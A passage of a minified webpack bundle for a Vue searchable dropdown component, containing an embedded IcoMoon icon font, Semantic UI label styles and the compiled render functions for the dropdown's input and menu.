QAZQBkACAAYgB5ACAASQBjAG8ATQBvAG8AbgAuAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAAVwAAoAAAAABSgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAdkAAAHZLDXE/09TLzIAAALQAAAAYAAAAGAIIweQY21hcAAAAzAAAABMAAAATA9+4ghnYXNwAAADfAAAAAgAAAAIAAAAEGhlYWQAAAOEAAAANgAAADYAQ88baGhlYQAAA7wAAAAkAAAAJAMHAelobXR4AAAD4AAAACAAAAAgBLgAEm1heHAAAAQAAAAABgAAAAYACFAAbmFtZQAABAgAAAFFAAABRVcZpu5wb3N0AAAFUAAAACAAAAAgAAMAAAEABAQAAQEBCGljb21vb24AAQIAAQA6+BwC+BsD+BgEHgoAGVP/i4seCgAZU/+LiwwHi2v4lPh0BR0AAACIDx0AAACNER0AAAAJHQAAAdASAAkBAQgPERMWGyAlKmljb21vb25pY29tb29udTB1MXUyMHVGMEQ3dUYwRDh1RjBEOXVGMERBAAACAYkABgAIAgABAAQABwAKAA0AVgCfAOgBL/yUDvyUDvyUDvuUDvtvi/emFYuQjZCOjo+Pj42Qiwj3lIsFkIuQiY6Hj4iNhouGi4aJh4eHCPsU+xQFiIiGiYaLhouHjYeOCPsU9xQFiI+Jj4uQCA77b4v3FBWLkI2Pjo8I9xT3FAWPjo+NkIuQi5CJjogI9xT7FAWPh42Hi4aLhomHh4eIiIaJhosI+5SLBYaLh42HjoiPiY+LkAgO+92d928Vi5CNkI+OCPcU9xQFjo+QjZCLkIuPiY6Hj4iNhouGCIv7lAWLhomHh4iIh4eJhouGi4aNiI8I+xT3FAWHjomPi5AIDvvdi+YVi/eUBYuQjZCOjo+Pj42Qi5CLkImOhwj3FPsUBY+IjYaLhouGiYeHiAj7FPsUBYiHhomGi4aLh42Hj4iOiY+LkAgO+JQU+JQViwwKAAAAAAMCAAGQAAUAAAFMAWYAAABHAUwBZgAAAPUAGQCEAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAQAAA8NoB4P/g/+AB4AAgAAAAAQAAAAAAAAAAAAAAIAAAAAAAAgAAAAMAAAAUAAMAAQAAABQABAA4AAAACgAIAAIAAgABACDw2v/9//8AAAAAACDw1//9//8AAf/jDy0AAwABAAAAAAAAAAAAAAABAAH//wAPAAEAAAABAAA5emozXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAUAAACAAAAAAADgCuAAEAAAAAAAEADgAAAAEAAAAAAAIADgBHAAEAAAAAAAMADgAkAAEAAAAAAAQADgBVAAEAAAAAAAUAFgAOAAEAAAAAAAYABwAyAAEAAAAAAAoANABjAAMAAQQJAAEADgAAAAMAAQQJAAIADgBHAAMAAQQJAAMADgAkAAMAAQQJAAQADgBVAAMAAQQJAAUAFgAOAAMAAQQJAAYADgA5AAMAAQQJAAoANABjAGkAYwBvAG0AbwBvAG4AVgBlAHIAcwBpAG8AbgAgADEALgAwAGkAYwBvAG0AbwBvAG5pY29tb29uAGkAYwBvAG0AbwBvAG4AUgBlAGcAdQBsAGEAcgBpAGMAbwBtAG8AbwBuAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.dropdown>.dropdown.icon[data-v-9d865830]{font-family:Dropdown;line-height:1;height:1em;width:1.23em;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center;width:auto}.ui.dropdown>.dropdown.icon[data-v-9d865830]:before{content:'\\F0D7'}.ui.dropdown .menu .item .dropdown.icon[data-v-9d865830]:before{content:'\\F0DA'}.ui.dropdown .item .left.dropdown.icon[data-v-9d865830]:before,.ui.dropdown .left.menu .item .dropdown.icon[data-v-9d865830]:before{content:\"\\F0D9\"}.ui.vertical.menu .dropdown.item>.dropdown.icon[data-v-9d865830]:before{content:\"\\F0DA\"}",""])},function(t,e,o){e=t.exports=o(4)(),e.push([t.id,'/*!\n * # Semantic UI 2.2.3 - Label\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */.ui.label[data-v-9d865830]{display:inline-block;line-height:1;vertical-align:baseline;margin:0 .14285714em;background-color:#e8e8e8;background-image:none;padding:.5833em .833em;color:rgba(0,0,0,.6);text-transform:none;font-weight:700;border:0 solid transparent;border-radius:.28571429rem;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.label[data-v-9d865830]:first-child{margin-left:0}.ui.label[data-v-9d865830]:last-child{margin-right:0}a.ui.label[data-v-9d865830]{cursor:pointer}.ui.label>a[data-v-9d865830]{cursor:pointer;color:inherit;opacity:.5;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.label>a[data-v-9d865830]:hover{opacity:1}.ui.label>img[data-v-9d865830]{width:auto!important;vertical-align:middle;height:2.1666em!important}.ui.label>.icon[data-v-9d865830]{width:auto;margin:0 .75em 0 0}.ui.label>.detail[data-v-9d865830]{display:inline-block;vertical-align:top;font-weight:700;margin-left:1em;opacity:.8}.ui.label>.detail .icon[data-v-9d865830]{margin:0 .25em 0 0}.ui.label>.close.icon[data-v-9d865830],.ui.label>.delete.icon[data-v-9d865830]{cursor:pointer;margin-right:0;margin-left:.5em;font-size:.92857143em;opacity:.5;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.label>.delete.icon[data-v-9d865830]:hover{opacity:1}.ui.labels>.label[data-v-9d865830]{margin:0 .5em .5em 0}.ui.header>.ui.label[data-v-9d865830]{margin-top:-.29165em}.ui.attached.segment>.ui.top.left.attached.label[data-v-9d865830],.ui.bottom.attached.segment>.ui.top.left.attached.label[data-v-9d865830]{border-top-left-radius:0}.ui.attached.segment>.ui.top.right.attached.label[data-v-9d865830],.ui.bottom.attached.segment>.ui.top.right.attached.label[data-v-9d865830]{border-top-right-radius:0}.ui.top.attached.segment>.ui.bottom.left.attached.label[data-v-9d865830]{border-bottom-left-radius:0}.ui.top.attached.segment>.ui.bottom.right.attached.label[data-v-9d865830]{border-bottom-right-radius:0}.ui.top.attached.label+[class*="right floated"]+[data-v-9d865830],.ui.top.attached.label:first-child+[data-v-9d865830]:not(.attached){margin-top:2rem!important}.ui.bottom.attached.label:first-child~[data-v-9d865830]:last-child:not(.attached){margin-top:0;margin-bottom:2rem!important}.ui.image.label[data-v-9d865830]{width:auto!important;margin-top:0;margin-bottom:0;max-width:9999px;vertical-align:baseline;text-transform:none;background:#e8e8e8;padding:.5833em .833em .5833em .5em;border-radius:.28571429rem;box-shadow:none}.ui.image.label img[data-v-9d865830]{display:inline-block;vertical-align:top;height:2.1666em;margin:-.5833em .5em -.5833em -.5em;border-radius:.28571429rem 0 0 .28571429rem}.ui.image.label .detail[data-v-9d865830]{background:rgba(0,0,0,.1);margin:-.5833em -.833em -.5833em .5em;padding:.5833em .833em;border-radius:0 .28571429rem .28571429rem 0}.ui.tag.label[data-v-9d865830],.ui.tag.labels .label[data-v-9d865830]{margin-left:1em;position:relative;padding-left:1.5em;padding-right:1.5em;border-radius:0 .28571429rem .28571429rem 0;-webkit-transition:none;transition:none}.ui.tag.label[data-v-9d865830]:before,.ui.tag.labels .label[data-v-9d865830]:before{position:absolute;-webkit-transform:translateY(-50%) translateX(50%) rotate(-45deg);transform:translateY(-50%) translateX(50%) rotate(-45deg);top:50%;right:100%;content:\'\';background-color:inherit;background-image:none;width:1.56em;height:1.56em;-webkit-transition:none;transition:none}.ui.tag.label[data-v-9d865830]:after,.ui.tag.labels .label[data-v-9d865830]:after{position:absolute;content:\'\';top:50%;left:-.25em;margin-top:-.25em;background-color:#fff!important;width:.5em;height:.5em;box-shadow:0 -1px 1px 0 rgba(0,0,0,.3);border-radius:500rem}.ui.corner.label[data-v-9d865830]{margin:0;padding:0;text-align:center;border-color:#e8e8e8;width:4em;height:4em;z-index:1}.ui.corner.label[data-v-9d865830],.ui.corner.label[data-v-9d865830]:after{position:absolute;top:0;right:0;-webkit-transition:border-color .1s ease;transition:border-color .1s ease;background-color:transparent!important}.ui.corner.label[data-v-9d865830]:after{content:"";z-index:-1;width:0;height:0;border-top:0 solid transparent;border-right:4em solid transparent;border-bottom:4em solid transparent;border-left:0 solid transparent;border-right-color:inherit}.ui.corner.label .icon[data-v-9d865830]{cursor:default;position:relative;top:.64285714em;left:.78571429em;font-size:1.14285714em;margin:0}.ui.left.corner.label[data-v-9d865830],.ui.left.corner.label[data-v-9d865830]:after{right:auto;left:0}.ui.left.corner.label[data-v-9d865830]:after{border-top:4em solid transparent;border-right:4em solid transparent;border-bottom:0 solid transparent;border-left:0 solid transparent;border-top-color:inherit}.ui.left.corner.label .icon[data-v-9d865830]{left:-.78571429em}.ui.segment>.ui.corner.label[data-v-9d865830]{top:-1px;right:-1px}.ui.segment>.ui.left.corner.label[data-v-9d865830]{right:auto;left:-1px}.ui.ribbon.label[data-v-9d865830]{position:relative;margin:0;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;border-radius:0 .28571429rem .28571429rem 0;border-color:rgba(0,0,0,.15)}.ui.ribbon.label[data-v-9d865830]:after{position:absolute;content:\'\';top:100%;left:0;background-color:transparent!important;border-style:solid;border-width:0 1.2em 1.2em 0;border-color:transparent;border-right-color:inherit;width:0;height:0}.ui.ribbon.label[data-v-9d865830]{left:calc(-1rem - 1.2em);margin-right:-1.2em;padding-left:calc(1rem + 1.2em);padding-right:1.2em}.ui[class*="right ribbon"].label[data-v-9d865830]{left:calc(100% + 1rem + 1.2em);padding-left:1.2em;padding-right:calc(1rem + 1.2em);text-align:left;-webkit-transform:translateX(-100%);transform:translateX(-100%);border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="right ribbon"].label[data-v-9d865830]:after{left:auto;right:0;border-style:solid;border-width:1.2em 1.2em 0 0;border-color:transparent;border-top-color:inherit}.ui.card .image>.ribbon.label[data-v-9d865830],.ui.image>.ribbon.label[data-v-9d865830]{position:absolute;top:1rem}.ui.card .image>.ui.ribbon.label[data-v-9d865830],.ui.image>.ui.ribbon.label[data-v-9d865830]{left:calc(.05rem - 1.2em)}.ui.card .image>.ui[class*="right ribbon"].label[data-v-9d865830],.ui.image>.ui[class*="right ribbon"].label[data-v-9d865830]{left:calc(100% + -.05rem + 1.2em);padding-left:.833em}.ui.table td>.ui.ribbon.label[data-v-9d865830]{left:-1.98571em}.ui.table td>.ui[class*="right ribbon"].label[data-v-9d865830]{left:calc(100% + .78571429em + 1.2em);padding-left:.833em}.ui.attached.label[data-v-9d865830],.ui[class*="top attached"].label[data-v-9d865830]{width:100%;position:absolute;margin:0;top:0;left:0;padding:.75em 1em;border-radius:.21428571rem .21428571rem 0 0}.ui[class*="bottom attached"].label[data-v-9d865830]{top:auto;bottom:0;border-radius:0 0 .21428571rem .21428571rem}.ui[class*="top left attached"].label[data-v-9d865830]{width:auto;margin-top:0!important;border-radius:.21428571rem 0 .28571429rem 0}.ui[class*="top right attached"].label[data-v-9d865830]{width:auto;left:auto;right:0;border-radius:0 .21428571rem 0 .28571429rem}.ui[class*="bottom left attached"].label[data-v-9d865830]{width:auto;top:auto;bottom:0;border-radius:0 .28571429rem 0 .21428571rem}.ui[class*="bottom right attached"].label[data-v-9d865830]{top:auto;bottom:0;left:auto;right:0;width:auto;border-radius:.28571429rem 0 .21428571rem 0}.ui.label.disabled[data-v-9d865830]{opacity:.5}a.ui.label[data-v-9d865830]:hover,a.ui.labels .label[data-v-9d865830]:hover{background-color:#e0e0e0;border-color:#e0e0e0;background-image:none;color:rgba(0,0,0,.8)}.ui.labels a.label[data-v-9d865830]:hover:before,a.ui.label[data-v-9d865830]:hover:before{color:rgba(0,0,0,.8)}.ui.active.label[data-v-9d865830]{border-color:#d0d0d0}.ui.active.label[data-v-9d865830],.ui.active.label[data-v-9d865830]:before{background-color:#d0d0d0;background-image:none;color:rgba(0,0,0,.95)}a.ui.active.label[data-v-9d865830]:hover,a.ui.labels .active.label[data-v-9d865830]:hover{background-color:#c8c8c8;border-color:#c8c8c8;background-image:none;color:rgba(0,0,0,.95)}.ui.labels a.active.label[data-v-9d865830]:ActiveHover:before,a.ui.active.label[data-v-9d865830]:ActiveHover:before{background-color:#c8c8c8;background-image:none;color:rgba(0,0,0,.95)}.ui.label.visible[data-v-9d865830]:not(.dropdown),.ui.labels.visible .label[data-v-9d865830]{display:inline-block!important}.ui.label.hidden[data-v-9d865830],.ui.labels.hidden .label[data-v-9d865830]{display:none!important}.ui.red.label[data-v-9d865830],.ui.red.labels .label[data-v-9d865830]{background-color:#db2828!important;border-color:#db2828!important;color:#fff!important}.ui.red.labels .label[data-v-9d865830]:hover,a.ui.red.label[data-v-9d865830]:hover{background-color:#d01919!important;border-color:#d01919!important;color:#fff!important}.ui.red.corner.label[data-v-9d865830],.ui.red.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.red.ribbon.label[data-v-9d865830]{border-color:#b21e1e!important}.ui.basic.red.label[data-v-9d865830]{background-color:#fff!important;color:#db2828!important;border-color:#db2828!important}.ui.basic.red.labels a.label[data-v-9d865830]:hover,a.ui.basic.red.label[data-v-9d865830]:hover{background-color:#fff!important;color:#d01919!important;border-color:#d01919!important}.ui.orange.label[data-v-9d865830],.ui.orange.labels .label[data-v-9d865830]{background-color:#f2711c!important;border-color:#f2711c!important;color:#fff!important}.ui.orange.labels .label[data-v-9d865830]:hover,a.ui.orange.label[data-v-9d865830]:hover{background-color:#f26202!important;border-color:#f26202!important;color:#fff!important}.ui.orange.corner.label[data-v-9d865830],.ui.orange.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.orange.ribbon.label[data-v-9d865830]{border-color:#cf590c!important}.ui.basic.orange.label[data-v-9d865830]{background-color:#fff!important;color:#f2711c!important;border-color:#f2711c!important}.ui.basic.orange.labels a.label[data-v-9d865830]:hover,a.ui.basic.orange.label[data-v-9d865830]:hover{background-color:#fff!important;color:#f26202!important;border-color:#f26202!important}.ui.yellow.label[data-v-9d865830],.ui.yellow.labels .label[data-v-9d865830]{background-color:#fbbd08!important;border-color:#fbbd08!important;color:#fff!important}.ui.yellow.labels .label[data-v-9d865830]:hover,a.ui.yellow.label[data-v-9d865830]:hover{background-color:#eaae00!important;border-color:#eaae00!important;color:#fff!important}.ui.yellow.corner.label[data-v-9d865830],.ui.yellow.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.yellow.ribbon.label[data-v-9d865830]{border-color:#cd9903!important}.ui.basic.yellow.label[data-v-9d865830]{background-color:#fff!important;color:#fbbd08!important;border-color:#fbbd08!important}.ui.basic.yellow.labels a.label[data-v-9d865830]:hover,a.ui.basic.yellow.label[data-v-9d865830]:hover{background-color:#fff!important;color:#eaae00!important;border-color:#eaae00!important}.ui.olive.label[data-v-9d865830],.ui.olive.labels .label[data-v-9d865830]{background-color:#b5cc18!important;border-color:#b5cc18!important;color:#fff!important}.ui.olive.labels .label[data-v-9d865830]:hover,a.ui.olive.label[data-v-9d865830]:hover{background-color:#a7bd0d!important;border-color:#a7bd0d!important;color:#fff!important}.ui.olive.corner.label[data-v-9d865830],.ui.olive.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.olive.ribbon.label[data-v-9d865830]{border-color:#198f35!important}.ui.basic.olive.label[data-v-9d865830]{background-color:#fff!important;color:#b5cc18!important;border-color:#b5cc18!important}.ui.basic.olive.labels a.label[data-v-9d865830]:hover,a.ui.basic.olive.label[data-v-9d865830]:hover{background-color:#fff!important;color:#a7bd0d!important;border-color:#a7bd0d!important}.ui.green.label[data-v-9d865830],.ui.green.labels .label[data-v-9d865830]{background-color:#21ba45!important;border-color:#21ba45!important;color:#fff!important}.ui.green.labels .label[data-v-9d865830]:hover,a.ui.green.label[data-v-9d865830]:hover{background-color:#16ab39!important;border-color:#16ab39!important;color:#fff!important}.ui.green.corner.label[data-v-9d865830],.ui.green.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.green.ribbon.label[data-v-9d865830]{border-color:#198f35!important}.ui.basic.green.label[data-v-9d865830]{background-color:#fff!important;color:#21ba45!important;border-color:#21ba45!important}.ui.basic.green.labels a.label[data-v-9d865830]:hover,a.ui.basic.green.label[data-v-9d865830]:hover{background-color:#fff!important;color:#16ab39!important;border-color:#16ab39!important}.ui.teal.label[data-v-9d865830],.ui.teal.labels .label[data-v-9d865830]{background-color:#00b5ad!important;border-color:#00b5ad!important;color:#fff!important}.ui.teal.labels .label[data-v-9d865830]:hover,a.ui.teal.label[data-v-9d865830]:hover{background-color:#009c95!important;border-color:#009c95!important;color:#fff!important}.ui.teal.corner.label[data-v-9d865830],.ui.teal.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.teal.ribbon.label[data-v-9d865830]{border-color:#00827c!important}.ui.basic.teal.label[data-v-9d865830]{background-color:#fff!important;color:#00b5ad!important;border-color:#00b5ad!important}.ui.basic.teal.labels a.label[data-v-9d865830]:hover,a.ui.basic.teal.label[data-v-9d865830]:hover{background-color:#fff!important;color:#009c95!important;border-color:#009c95!important}.ui.blue.label[data-v-9d865830],.ui.blue.labels .label[data-v-9d865830]{background-color:#2185d0!important;border-color:#2185d0!important;color:#fff!important}.ui.blue.labels .label[data-v-9d865830]:hover,a.ui.blue.label[data-v-9d865830]:hover{background-color:#1678c2!important;border-color:#1678c2!important;color:#fff!important}.ui.blue.corner.label[data-v-9d865830],.ui.blue.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.blue.ribbon.label[data-v-9d865830]{border-color:#1a69a4!important}.ui.basic.blue.label[data-v-9d865830]{background-color:#fff!important;color:#2185d0!important;border-color:#2185d0!important}.ui.basic.blue.labels a.label[data-v-9d865830]:hover,a.ui.basic.blue.label[data-v-9d865830]:hover{background-color:#fff!important;color:#1678c2!important;border-color:#1678c2!important}.ui.violet.label[data-v-9d865830],.ui.violet.labels .label[data-v-9d865830]{background-color:#6435c9!important;border-color:#6435c9!important;color:#fff!important}.ui.violet.labels .label[data-v-9d865830]:hover,a.ui.violet.label[data-v-9d865830]:hover{background-color:#5829bb!important;border-color:#5829bb!important;color:#fff!important}.ui.violet.corner.label[data-v-9d865830],.ui.violet.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.violet.ribbon.label[data-v-9d865830]{border-color:#502aa1!important}.ui.basic.violet.label[data-v-9d865830]{background-color:#fff!important;color:#6435c9!important;border-color:#6435c9!important}.ui.basic.violet.labels a.label[data-v-9d865830]:hover,a.ui.basic.violet.label[data-v-9d865830]:hover{background-color:#fff!important;color:#5829bb!important;border-color:#5829bb!important}.ui.purple.label[data-v-9d865830],.ui.purple.labels .label[data-v-9d865830]{background-color:#a333c8!important;border-color:#a333c8!important;color:#fff!important}.ui.purple.labels .label[data-v-9d865830]:hover,a.ui.purple.label[data-v-9d865830]:hover{background-color:#9627ba!important;border-color:#9627ba!important;color:#fff!important}.ui.purple.corner.label[data-v-9d865830],.ui.purple.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.purple.ribbon.label[data-v-9d865830]{border-color:#82299f!important}.ui.basic.purple.label[data-v-9d865830]{background-color:#fff!important;color:#a333c8!important;border-color:#a333c8!important}.ui.basic.purple.labels a.label[data-v-9d865830]:hover,a.ui.basic.purple.label[data-v-9d865830]:hover{background-color:#fff!important;color:#9627ba!important;border-color:#9627ba!important}.ui.pink.label[data-v-9d865830],.ui.pink.labels .label[data-v-9d865830]{background-color:#e03997!important;border-color:#e03997!important;color:#fff!important}.ui.pink.labels .label[data-v-9d865830]:hover,a.ui.pink.label[data-v-9d865830]:hover{background-color:#e61a8d!important;border-color:#e61a8d!important;color:#fff!important}.ui.pink.corner.label[data-v-9d865830],.ui.pink.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.pink.ribbon.label[data-v-9d865830]{border-color:#c71f7e!important}.ui.basic.pink.label[data-v-9d865830]{background-color:#fff!important;color:#e03997!important;border-color:#e03997!important}.ui.basic.pink.labels a.label[data-v-9d865830]:hover,a.ui.basic.pink.label[data-v-9d865830]:hover{background-color:#fff!important;color:#e61a8d!important;border-color:#e61a8d!important}.ui.brown.label[data-v-9d865830],.ui.brown.labels .label[data-v-9d865830]{background-color:#a5673f!important;border-color:#a5673f!important;color:#fff!important}.ui.brown.labels .label[data-v-9d865830]:hover,a.ui.brown.label[data-v-9d865830]:hover{background-color:#975b33!important;border-color:#975b33!important;color:#fff!important}.ui.brown.corner.label[data-v-9d865830],.ui.brown.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.brown.ribbon.label[data-v-9d865830]{border-color:#805031!important}.ui.basic.brown.label[data-v-9d865830]{background-color:#fff!important;color:#a5673f!important;border-color:#a5673f!important}.ui.basic.brown.labels a.label[data-v-9d865830]:hover,a.ui.basic.brown.label[data-v-9d865830]:hover{background-color:#fff!important;color:#975b33!important;border-color:#975b33!important}.ui.grey.label[data-v-9d865830],.ui.grey.labels .label[data-v-9d865830]{background-color:#767676!important;border-color:#767676!important;color:#fff!important}.ui.grey.labels .label[data-v-9d865830]:hover,a.ui.grey.label[data-v-9d865830]:hover{background-color:#838383!important;border-color:#838383!important;color:#fff!important}.ui.grey.corner.label[data-v-9d865830],.ui.grey.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.grey.ribbon.label[data-v-9d865830]{border-color:#805031!important}.ui.basic.grey.label[data-v-9d865830]{background-color:#fff!important;color:#767676!important;border-color:#767676!important}.ui.basic.grey.labels a.label[data-v-9d865830]:hover,a.ui.basic.grey.label[data-v-9d865830]:hover{background-color:#fff!important;color:#838383!important;border-color:#838383!important}.ui.black.label[data-v-9d865830],.ui.black.labels .label[data-v-9d865830]{background-color:#1b1c1d!important;border-color:#1b1c1d!important;color:#fff!important}.ui.black.labels .label[data-v-9d865830]:hover,a.ui.black.label[data-v-9d865830]:hover{background-color:#27292a!important;border-color:#27292a!important;color:#fff!important}.ui.black.corner.label[data-v-9d865830],.ui.black.corner.label[data-v-9d865830]:hover{background-color:transparent!important}.ui.black.ribbon.label[data-v-9d865830]{border-color:#805031!important}.ui.basic.black.label[data-v-9d865830]{background-color:#fff!important;color:#1b1c1d!important;border-color:#1b1c1d!important}.ui.basic.black.labels a.label[data-v-9d865830]:hover,a.ui.basic.black.label[data-v-9d865830]:hover{background-color:#fff!important;color:#27292a!important;border-color:#27292a!important}.ui.basic.label[data-v-9d865830]{background:none #fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);box-shadow:none}a.ui.basic.label[data-v-9d865830]:hover{text-decoration:none;background:none #fff;color:#1e70bf;box-shadow:1px solid rgba(34,36,38,.15);box-shadow:none}.ui.basic.pointing.label[data-v-9d865830]:before{border-color:inherit}.ui.fluid.labels>.label[data-v-9d865830],.ui.label.fluid[data-v-9d865830]{width:100%;box-sizing:border-box}.ui.inverted.label[data-v-9d865830],.ui.inverted.labels .label[data-v-9d865830]{color:hsla(0,0%,100%,.9)!important}.ui.horizontal.label[data-v-9d865830],.ui.horizontal.labels .label[data-v-9d865830]{margin:0 .5em 0 0;padding:.4em .833em;min-width:3em;text-align:center}.ui.circular.label[data-v-9d865830],.ui.circular.labels .label[data-v-9d865830]{min-width:2em;min-height:2em;padding:.5em!important;line-height:1em;text-align:center;border-radius:500rem}.ui.empty.circular.label[data-v-9d865830],.ui.empty.circular.labels .label[data-v-9d865830]{min-width:0;min-height:0;overflow:hidden;width:.5em;height:.5em;vertical-align:baseline}.ui.pointing.label[data-v-9d865830]{position:relative}.ui.attached.pointing.label[data-v-9d865830]{position:absolute}.ui.pointing.label[data-v-9d865830]:before{background-color:inherit;background-image:inherit;border-width:none;border-style:solid;border-color:inherit;position:absolute;content:\'\';-webkit-transform:rotate(45deg);transform:rotate(45deg);background-image:none;z-index:2;width:.6666em;height:.6666em;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.pointing.label[data-v-9d865830],.ui[class*="pointing above"].label[data-v-9d865830]{margin-top:1em}.ui.pointing.label[data-v-9d865830]:before,.ui[class*="pointing above"].label[data-v-9d865830]:before{border-width:1px 0 0 1px;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);top:0;left:50%}.ui[class*="bottom pointing"].label[data-v-9d865830],.ui[class*="pointing below"].label[data-v-9d865830]{margin-top:0;margin-bottom:1em}.ui[class*="bottom pointing"].label[data-v-9d865830]:before,.ui[class*="pointing below"].label[data-v-9d865830]:before{border-width:0 1px 1px 0;top:auto;right:auto;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);top:100%;left:50%}.ui[class*="left pointing"].label[data-v-9d865830]{margin-top:0;margin-left:.6666em}.ui[class*="left pointing"].label[data-v-9d865830]:before{border-width:0 0 1px 1px;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);bottom:auto;right:auto;top:50%;left:0}.ui[class*="right pointing"].label[data-v-9d865830]{margin-top:0;margin-right:.6666em}.ui[class*="right pointing"].label[data-v-9d865830]:before{border-width:1px 1px 0 0;-webkit-transform:translateX(50%) translateY(-50%) rotate(45deg);transform:translateX(50%) translateY(-50%) rotate(45deg);top:50%;right:0;bottom:auto;left:auto}.ui.basic.pointing.label[data-v-9d865830]:before,.ui.basic[class*="pointing above"].label[data-v-9d865830]:before{margin-top:-1px}.ui.basic[class*="bottom pointing"].label[data-v-9d865830]:before,.ui.basic[class*="pointing below"].label[data-v-9d865830]:before{bottom:auto;top:100%;margin-top:1px}.ui.basic[class*="left pointing"].label[data-v-9d865830]:before{top:50%;left:-1px}.ui.basic[class*="right pointing"].label[data-v-9d865830]:before{top:50%;right:-1px}.ui.floating.label[data-v-9d865830]{position:absolute;z-index:100;top:-1em;left:100%;margin:0 0 0 -1.5em!important}.ui.mini.label[data-v-9d865830],.ui.mini.labels .label[data-v-9d865830]{font-size:.64285714rem}.ui.tiny.label[data-v-9d865830],.ui.tiny.labels .label[data-v-9d865830]{font-size:.71428571rem}.ui.small.label[data-v-9d865830],.ui.small.labels .label[data-v-9d865830]{font-size:.78571429rem}.ui.label[data-v-9d865830],.ui.labels .label[data-v-9d865830]{font-size:.85714286rem}.ui.large.label[data-v-9d865830],.ui.large.labels .label[data-v-9d865830]{font-size:1rem}.ui.big.label[data-v-9d865830],.ui.big.labels .label[data-v-9d865830]{font-size:1.28571429rem}.ui.huge.label[data-v-9d865830],.ui.huge.labels .label[data-v-9d865830]{font-size:1.42857143rem}.ui.massive.label[data-v-9d865830],.ui.massive.labels .label[data-v-9d865830]{font-size:1.71428571rem}',""]);
},function(t,e,o){var i,a;i=o(48),a=i=i||{},"object"!=typeof i["default"]&&"function"!=typeof i["default"]||(a=i=i["default"]),"function"==typeof a&&(a=a.options),t.exports=i},function(t,e,o){var i,a;i=o(49),a=i=i||{},"object"!=typeof i["default"]&&"function"!=typeof i["default"]||(a=i=i["default"]),"function"==typeof a&&(a=a.options),t.exports=i},function(t,e,o){var i,a;i=o(51),a=i=i||{},"object"!=typeof i["default"]&&"function"!=typeof i["default"]||(a=i=i["default"]),"function"==typeof a&&(a=a.options),t.exports=i},function(t,e){t.exports={render:function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"ui fluid search selection dropdown","class":{"active visible":t.showMenu,error:t.isError,disabled:t.isDisabled},on:{click:t.openOptions,focus:t.openOptions}},[o("i",{staticClass:"dropdown icon"}),t._v(" "),o("input",{ref:"input",staticClass:"search",attrs:{autocomplete:"off",tabindex:"0"},domProps:{value:t.searchText},on:{input:function(e){t.searchText=e.target.value},focus:function(e){e.preventDefault(),t.openOptions(e)},keyup:[function(e){t._k(e.keyCode,"esc",27)||t.closeOptions(e)},function(e){t._k(e.keyCode,"enter",13)||(e.preventDefault(),t.enterItem(e))}],blur:t.blurInput,keydown:[function(e){t._k(e.keyCode,"up",38)||t.prevItem(e)},function(e){t._k(e.keyCode,"down",40)||t.nextItem(e)},function(e){t._k(e.keyCode,"enter",13)||e.preventDefault()},function(e){t._k(e.keyCode,"delete",[8,46])||t.deleteTextOrItem(e)}]}}),t._v(" "),o("div",{staticClass:"text","class":t.textClass,attrs:{"data-vss-custom-attr":t.searchTextCustomAttr}},[t._v(t._s(t.inputText)+"\n ")]),t._v(" "),o("div",{ref:"menu",staticClass:"menu","class":t.menuClass,style:t.menuStyle,attrs:{tabindex:"-1"},on:{mousedown:function(t){t.preventDefault()}}},[t._l(t.filteredOptions,function(e,i){return[o("div",{staticClass:"item","class":{selected:e.selected,current:t.pointer===i},attrs:{"data-vss-custom-attr":t.customAttrs[i]?t.customAttrs[i]:""},on:{click:function(o){o.stopPropagation(),t.selectItem(e)},mousedown:t.mousedownItem,mouseenter:function(e){t.pointerSet(i)}}},[t._v("\n "+t._s(e.text)+"\n ")])]})],2)])},staticRenderFns:[]}},function(t,e){t.exports={render:function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"ui fluid search selection dropdown","class":{"active visible":t.showMenu,error:t.isError,disabled:t.isDisabled},on:{click:t.openOptions,focus:t.openOptions}},[o("i",{staticClass:"search icon"}),t._v(" 